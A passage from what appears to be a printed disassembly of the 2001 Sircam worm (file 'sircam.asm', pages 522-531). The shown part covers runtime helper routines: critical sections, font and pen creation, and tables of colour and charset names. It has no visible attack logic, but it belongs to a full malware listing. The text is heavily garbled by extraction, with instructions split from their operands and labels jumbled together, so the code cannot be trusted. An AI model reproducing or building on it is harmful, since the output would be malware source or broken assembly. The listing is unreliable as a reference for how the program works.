sub_413258+EA\030o mov al, [ebp-0Dh] mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_413368 proc near push ebp ; DATA XREF: CODE:0041A988\031o sircam.asm Fri Aug 10 12:42:44 2001 mov xor push push push mov inc xor pop pop pop mov push 522 ebp, esp eax, eax ebp offset loc_41338D dword ptr fs:[eax] fs:[eax], esp ds:dword_41E670 eax, eax edx ecx ecx fs:[eax], edx offset loc_413394 locret_41338C: ; CODE XREF: sub_413368+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41338D: ; DATA XREF: sub_413368+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_41338C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413394: sub_413368 ; CODE XREF: sub_413368+24\030j ; DATA XREF: sub_413368+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_413398: ; DATA XREF: CODE:0041A984\031o sub ds:dword_41E670, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_4133A0 dd offset dword_4133A4 ; DATA XREF: CODE:00415E4C\031r dword_4133A4 dd 43540601h, 726F6C6Fh, 4, 0FFFFFF80h, 408D7Fh ; DATA XREF: CODE:004133A 0\030o off_4133B8 dd offset dword_413404 ; DATA XREF: sub_4143A8+7\031r dd 7 dup(0) dd offset dword_413404 dd 0Ch dd offset off_4061F4 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_413404 dd 6E49450Fh, 696C6176h, 61724764h, 63696870h ; DATA XREF: CODE:004133B8 \030o ; CODE:004133D8\030o off_413414 dd offset dword_413460 ; DATA XREF: sub_414390+7\031r dd 7 dup(0) dd offset dword_413460 dd 0Ch dd offset off_4061F4 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_413460 dd 6E494518h, 696C6176h, 61724764h, 63696870h, 7265704Fh sircam.asm Fri Aug 10 12:42:44 2001 523 ; DATA XREF: CODE:00413414\030o ; CODE:00413434\030o off_41347C dword_413480 off_413498 off_4134E4 dword_413544 dword_41354C off_413558 dword_41355C off_41357C dd 6F697461h, 408D6Eh dd offset dword_413480 ; DATA XREF: CODE:00415E60\031r dd 46540C01h, 43746E6Fh, 73726168h, 17465h, 0FF000000h ; DATA XREF: CODE:0041347C\030o dd 90000000h dd offset off_4134E4 ; DATA XREF: CODE:00413660\031o ; sub_415144+1B\031r dd 3 dup(0) dd offset dword_41355C dd 2 dup(0) dd offset dword_413544 dd offset dword_41354C dd 1Ch dd offset off_40B978 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_40C520 dd offset loc_40C630 ; DATA XREF: CODE:00413498\030o ; CODE:00413566\031o dd offset sub_41519C dd offset sub_40C54C dd offset sub_4150F4 dd offset sub_41512C dd offset loc_4027FC dd offset sub_4151E8 dd offset loc_4027FC dd offset loc_4027FC dd offset loc_41532C dd offset loc_415330 dd offset loc_4027FC dd offset loc_4153B0 dd offset loc_4027FC dd offset nullsub_12 dd offset loc_415418 dd offset loc_4027FC dd offset loc_415428 dd offset sub_415334 dd offset sub_4153BC dd offset loc_4027FC dd offset loc_4027FC dd offset loc_4027FC dd offset loc_4027FC dd 0FFFD0001h ; DATA XREF: CODE:004134B4\030o dd offset sub_415388 dd 72475408h, 69687061h, 408D63h ; DATA XREF: CODE:004134B8\030o dd offset dword_41355C ; DATA XREF: CODE:004136FB\031o dd 47540807h, 68706172h ; DATA XREF: CODE:004134A8\030o ; CODE:00413558\030o db 69h, 63h dd offset off_4134E4 dd offset off_40B9EC align 4 dd 61724708h, 63696870h, 90000073h dd offset off_4135C8 ; DATA XREF: CODE:00413604\031o dd 7 dup(0) dd offset dword_4135CC dd 8 dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 sircam.asm off_4135C8 dword_4135CC \030o off_4135DC off_413628 dword_41362C off_413638 off_413684 dword_4136E4 dword_4136F0 Fri Aug 10 12:42:44 2001 dd dd dd dd dd offset loc_402B70 offset sub_402B84 offset sub_402BCC offset loc_4027FC ; DATA XREF: CODE:0041357C\030o 6853540Ch, 64657261h, 67616D49h, 408D65h ; DATA XREF: CODE:0041359C dd offset off_413628 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 524 ; DATA XREF: sub_4155EC+22\031r ; sub_415948+F\031r 7 dup(0) offset dword_41362C 18h offset off_41357C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_4155A4 offset sub_4155D4 ; DATA XREF: CODE:004135DC\030o 6349540Ah, 6D496E6Fh, 90656761h ; DATA XREF: CODE:004135FC\030o offset off_413684 ; DATA XREF: sub_415670+D\031r ; sub_416478+161\031r dd 3 dup(0) dd offset dword_4136F0 dd 3 dup(0) dd offset dword_4136E4 align 8 dd offset off_413498 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_415640 dd offset loc_40C630 ; DATA XREF: CODE:00413638\030o ; CODE:004136F7\031o dd offset sub_41519C dd offset sub_415670 dd offset sub_4155EC dd offset sub_41512C dd offset sub_4156D0 dd offset sub_4151E8 dd offset loc_415710 dd offset loc_41573C dd offset loc_41532C dd offset loc_415330 dd offset loc_415750 dd offset loc_4153B0 dd offset loc_4159D4 dd offset nullsub_12 dd offset nullsub_13 dd offset loc_4159F0 dd offset loc_415428 dd offset sub_415334 dd offset sub_4153BC dd offset sub_415890 dd offset sub_415A08 dd offset sub_415A34 dd offset sub_415A48 dd 63495405h, 0C08B6E6Fh ; DATA XREF: CODE:00413658\030o dd offset dword_4136F0 dd 49540507h ; DATA XREF: CODE:00413648\030o ; CODE:004136EC\030o db 63h, 6Fh, 6Eh dd offset off_413684 dd offset off_413558 sircam.asm off_41370C dword_413758 Fri Aug 10 12:42:44 2001 525 dd 47080000h, 68706172h, 736369h align 4 dd offset dword_413758 ; DATA XREF: CODE:00415DD7\031o ; CODE:00415DEC\031o ... dd 7 dup(0) dd offset dword_413758 dd 24h dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_4137A8 dd 65525410h, 72756F73h, 614D6563h, 6567616Eh, 408D72h ; DATA XREF: CODE:0041370C\030o ; CODE:0041372C\030o dd 0D2845653h, 0C4830874h, 0F562E8F0h, 0DA8BFFFEh, 8966F08Bh dd 468D204Eh, 19E85008h, 8BFFFF25h, 74DB84C6h, 0F59EE80Fh dd 8F64FFFEh, 5, 0CC48300h, 5B5EC68Bh, 408DC3h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4137A8 proc near ; DATA XREF: CODE:00413754\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax lea eax, [esi+8] push eax call j_DeleteCriticalSection_0 test bl, bl jle short loc_4137C7 mov eax, esi call sub_402D2C loc_4137C7: sub_4137A8 ; CODE XREF: sub_4137A8+16\030j pop esi pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4137CC proc near ; CODE XREF: sub_413D40+3A\031p ; sub_413EF0+1A\031p ... sub_4137CC add eax, 8 push eax call j_EnterCriticalSection_0 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4137D8 proc near add push eax, 8 eax ; CODE XREF: sub_413D40+15B\031p ; sub_413EF0+80\031p ... sircam.asm sub_4137D8 Fri Aug 10 12:42:44 2001 526 call j_LeaveCriticalSection_0 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_4137E4 dd 0FFFFFFFFh, 7, 6C426C63h, 6B6361h, 0FFFFFFFFh, 8, 614D6C63h ; DATA XREF: DATA:0041D85C\031o dd 6E6F6F72h, 0, 0FFFFFFFFh, 7, 72476C63h, 6E6565h, 0FFFFFFFFh dd 7, 6C4F6C63h, 657669h, 0FFFFFFFFh, 6, 614E6C63h, 7976h dd 0FFFFFFFFh, 8, 75506C63h, 656C7072h, 0, 0FFFFFFFFh dd 6, 65546C63h, 6C61h, 0FFFFFFFFh, 6, 72476C63h, 7961h dd 0FFFFFFFFh, 8, 69536C63h, 7265766Ch, 0, 0FFFFFFFFh dd 5, 65526C63h, 64h, 0FFFFFFFFh, 6, 694C6C63h, 656Dh dd 0FFFFFFFFh, 8, 65596C63h, 776F6C6Ch, 0, 0FFFFFFFFh dd 6, 6C426C63h, 6575h, 0FFFFFFFFh, 9, 75466C63h, 69736863h dd 61h, 0FFFFFFFFh, 6, 71416C63h, 6175h, 0FFFFFFFFh, 7 dd 68576C63h, 657469h, 0FFFFFFFFh, 0Bh, 63536C63h, 6C6C6F72h dd 726142h, 0FFFFFFFFh, 0Ch, 61426C63h, 72676B63h, 646E756Fh dd 0, 0FFFFFFFFh, 0Fh, 63416C63h, 65766974h, 74706143h dd 6E6F69h, 0FFFFFFFFh, 11h, 6E496C63h, 69746361h, 61436576h dd 6F697470h, 6Eh, 0FFFFFFFFh, 6, 654D6C63h, 756Eh, 0FFFFFFFFh dd 8, 69576C63h, 776F646Eh, 0, 0FFFFFFFFh, 0Dh, 69576C63h dd 776F646Eh, 6D617246h, 65h, 0FFFFFFFFh, 0Ah, 654D6C63h dd 6554756Eh, 7478h, 0FFFFFFFFh, 0Ch, 69576C63h, 776F646Eh dd 74786554h, 0, 0FFFFFFFFh, 0Dh, 61436C63h, 6F697470h dd 7865546Eh, 74h, 0FFFFFFFFh, 0Eh, 63416C63h, 65766974h dd 64726F42h, 7265h, 0FFFFFFFFh, 10h, 6E496C63h, 69746361h dd 6F426576h, 72656472h, 0, 0FFFFFFFFh, 0Eh, 70416C63h dd 726F5770h, 6170536Bh, 6563h, 0FFFFFFFFh, 0Bh, 69486C63h dd 696C6867h, 746867h, 0FFFFFFFFh, 0Fh, 69486C63h, 696C6867h dd 54746867h, 747865h, 0FFFFFFFFh, 9, 74426C63h, 6361466Eh dd 65h, 0FFFFFFFFh, 0Bh, 74426C63h, 6168536Eh, 776F64h dd 0FFFFFFFFh, 0Ah, 72476C63h, 65547961h, 7478h, 0FFFFFFFFh dd 9, 74426C63h, 7865546Eh, 74h, 0FFFFFFFFh, 15h, 6E496C63h dd 69746361h, 61436576h, 6F697470h, 7865546Eh, 74h, 0FFFFFFFFh dd 0Eh, 74426C63h, 6769486Eh, 67696C68h, 7468h, 0FFFFFFFFh dd 0Ch, 44336C63h, 68536B44h, 776F6461h, 0, 0FFFFFFFFh dd 9, 44336C63h, 6867694Ch, 74h, 0FFFFFFFFh, 0Ah, 6E496C63h dd 65546F66h, 7478h, 0FFFFFFFFh, 8, 6E496C63h, 6B426F66h dd 0, 0FFFFFFFFh, 6, 6F4E6C63h, 656Eh ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_413B3C proc near test jge and push call locret_413B4B: sub_413B3C ; CODE XREF: sub_413EF0+57\031p ; sub_413F90+9E\031p ... eax, eax short locret_413B4B eax, 0FFh eax j_GetSysColor ; CODE XREF: sub_413B3C+2\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413B4C: ; DATA XREF: CODE:00415E42\031o push 29h mov ecx, offset unk_41D858 call sub_40C06C retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_413B5C: push mov ; DATA XREF: CODE:00415E47\031o 29h ecx, offset unk_41D858 sircam.asm Fri Aug 10 12:42:44 2001 527 call sub_40C02C retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_413B6C dd 0FFFFFFFFh, 0Ch, 49534E41h, 4148435Fh, 54455352h, 0 ; DATA XREF: DATA:0041D9AC\031o dd 0FFFFFFFFh, 0Fh, 41464544h, 5F544C55h, 52414843h, 544553h dd 0FFFFFFFFh, 0Eh, 424D5953h, 435F4C4Fh, 53524148h, 5445h dd 0FFFFFFFFh, 0Bh, 5F43414Dh, 52414843h, 544553h, 0FFFFFFFFh dd 10h, 46494853h, 53494A54h, 4148435Fh, 54455352h, 0 dd 0FFFFFFFFh, 0Fh, 474E4148h, 5F4C5545h, 52414843h, 544553h dd 0FFFFFFFFh, 0Dh, 41484F4Ah, 48435F42h, 45535241h, 54h dd 0FFFFFFFFh, 0Eh, 33324247h, 435F3231h, 53524148h, 5445h dd 0FFFFFFFFh, 13h, 4E494843h, 42455345h, 5F354749h, 52414843h dd 544553h, 0FFFFFFFFh, 0Dh, 45455247h, 48435F4Bh, 45535241h dd 54h, 0FFFFFFFFh, 0Fh, 4B525554h, 5F485349h, 52414843h dd 544553h, 0FFFFFFFFh, 0Eh, 52424548h, 435F5745h, 53524148h dd 5445h, 0FFFFFFFFh, 0Eh, 42415241h, 435F4349h, 53524148h dd 5445h, 0FFFFFFFFh, 0Eh, 544C4142h, 435F4349h, 53524148h dd 5445h, 0FFFFFFFFh, 0Fh, 53535552h, 5F4E4149h, 52414843h dd 544553h, 0FFFFFFFFh, 0Ch, 49414854h, 4148435Fh, 54455352h dd 0, 0FFFFFFFFh, 12h, 54534145h, 4F525545h, 435F4550h dd 53524148h, 5445h, 0FFFFFFFFh, 0Bh, 5F4D454Fh, 52414843h dd 544553h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413D20: ; DATA XREF: CODE:00415E56\031o push 11h mov ecx, offset unk_41D9A8 call sub_40C06C retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_413D30: ; DATA XREF: CODE:00415E5B\031o push 11h mov ecx, offset unk_41D9A8 call sub_40C02C retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_413D40 proc near var_4C var_48 var_44 var_40 var_3C var_38 var_34 var_30 var_2C var_2B var_2A var_29 var_28 var_27 var_26 var_25 var_24 var_4 = = = = = = = = = = = = = = = = = = dword ptr -4Ch dword ptr -48h dword ptr -44h dword ptr -40h dword ptr -3Ch dword ptr -38h dword ptr -34h dword ptr -30h byte ptr -2Ch byte ptr -2Bh byte ptr -2Ah byte ptr -29h byte ptr -28h byte ptr -27h byte ptr -26h byte ptr -25h byte ptr -24h dword ptr -4 push mov add ebp ebp, esp esp, 0FFFFFFB4h ; CODE XREF: sub_4142B8+6\031p sircam.asm Fri Aug 10 12:42:44 2001 528 push ebx xor edx, edx mov [ebp+var_4C], edx mov [ebp+var_48], edx mov [ebp+var_44], edx mov ebx, eax xor eax, eax push ebp push offset loc_413EC9 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebx+10h] mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz loc_413EA8 mov eax, ds:dword_41E6C0 call sub_4137CC xor eax, eax push ebp push offset loc_413EA1 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz loc_413E89 mov eax, [ebp+var_4] mov eax, [eax+14h] mov [ebp+var_40], eax xor eax, eax mov [ebp+var_3C], eax xor eax, eax mov [ebp+var_38], eax xor eax, eax mov [ebp+var_34], eax mov eax, [ebp+var_4] test byte ptr [eax+19h], 1 jz short loc_413DC4 mov [ebp+var_30], 2BCh jmp short loc_413DCB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413DC4: mov ; CODE XREF: sub_413D40+79\030j [ebp+var_30], 190h mov test setnz mov mov test setnz mov mov test setnz mov mov mov mov lea mov add call mov mov call test jnz ; CODE XREF: sub_413D40+82\030j eax, [ebp+var_4] byte ptr [eax+19h], 2 al [ebp+var_2C], al eax, [ebp+var_4] byte ptr [eax+19h], 4 al [ebp+var_2B], al eax, [ebp+var_4] byte ptr [eax+19h], 8 al [ebp+var_2A], al eax, [ebp+var_4] al, [eax+1Ah] [ebp+var_29], al eax, [ebp+var_44] edx, [ebp+var_4] edx, 1Bh sub_4036EC eax, [ebp+var_44] edx, offset aDefault ; "Default" sub_406E64 eax, eax short loc_413E34 loc_413DCB: sircam.asm Fri Aug 10 12:42:44 2001 529 lea eax, [ebp+var_48] mov edx, offset aMsSansSerif ; "\rMS Sans Serif" call sub_4036EC mov edx, [ebp+var_48] lea eax, [ebp+var_24] call sub_4075BC jmp short loc_413E4D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413E34: lea mov add call mov lea call ; CODE XREF: sub_413D40+D8\030j eax, [ebp+var_4C] edx, [ebp+var_4] edx, 1Bh sub_4036EC edx, [ebp+var_4C] eax, [ebp+var_24] sub_4075BC loc_413E4D: ; CODE XREF: sub_413D40+F2\030j mov [ebp+var_26], 0 mov [ebp+var_28], 0 mov [ebp+var_27], 0 mov eax, ebx call sub_413EE8 dec al jz short loc_413E6A dec al jz short loc_413E70 jmp short loc_413E76 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413E6A: ; CODE XREF: sub_413D40+122\030j mov [ebp+var_25], 2 jmp short loc_413E7A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413E70: ; CODE XREF: sub_413D40+126\030j mov [ebp+var_25], 1 jmp short loc_413E7A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413E76: ; CODE XREF: sub_413D40+128\030j mov [ebp+var_25], 0 lea push call mov mov ; CODE XREF: sub_413D40+12E\030j ; sub_413D40+134\030j eax, [ebp+var_40] eax j_CreateFontIndirectA edx, [ebp+var_4] [edx+8], eax xor pop pop pop mov push ; CODE XREF: sub_413D40+54\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_413EA8 loc_413E7A: loc_413E89: loc_413E96: ; CODE XREF: sub_413D40+166\031j mov eax, ds:dword_41E6C0 call sub_4137D8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413EA1: ; DATA XREF: sub_413D40+42\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_413E96 sircam.asm Fri Aug 10 12:42:44 2001 530 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413EA8: ; CODE XREF: sub_413D40+2F\030j ; DATA XREF: sub_413D40+151\030o mov mov xor pop pop pop mov push loc_413EBB: sub_413D40 eax, [ebp+var_4] ebx, [eax+8] eax, eax edx ecx ecx fs:[eax], edx offset loc_413ED0 ; CODE XREF: CODE:00413ECE\031j lea eax, [ebp+var_4C] mov edx, 3 call sub_4034EC retn endp ; sp = -58h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413EC9: ; DATA XREF: sub_413D40+17\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_413EBB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413ED0: ; DATA XREF: sub_413D40+176\030o mov eax, ebx pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 7 aDefault db ’Default’,0 ; DATA XREF: sub_413D40+CC\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_413EE8 sub_413EE8 proc near mov eax, [eax+10h] mov al, [eax+18h] retn endp ; CODE XREF: sub_413D40+11B\030p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_413EF0 proc near var_14 var_10 var_8 var_4 = = = = dword dword dword dword push mov add mov mov mov cmp jnz ptr ptr ptr ptr ; CODE XREF: sub_4142E4+6\031p -14h -10h -8 -4 ebp ebp, esp esp, 0FFFFFFECh eax, [eax+10h] [ebp+var_4], eax eax, [ebp+var_4] dword ptr [eax+8], 0 short loc_413F7D sircam.asm Fri Aug 10 12:42:44 2001 531 mov call xor push push push mov mov cmp jnz mov movzx movzx mov mov mov mov mov mov call mov lea push call mov mov eax, ds:dword_41E6C4 sub_4137CC eax, eax ebp offset loc_413F76 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] dword ptr [eax+8], 0 short loc_413F5E eax, [ebp+var_4] eax, byte ptr [eax+1Ch] eax, ds:word_41DA38[eax*2] [ebp+var_14], eax eax, [ebp+var_4] eax, [eax+18h] [ebp+var_10], eax eax, [ebp+var_4] eax, [eax+14h] sub_413B3C [ebp+var_8], eax eax, [ebp+var_14] eax j_CreatePenIndirect edx, [ebp+var_4] [edx+8], eax xor pop pop pop mov push ; CODE XREF: sub_413EF0+34\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_413F7D loc_413F5E: loc_413F6B: ; CODE XREF: sub_413EF0+8B\031j 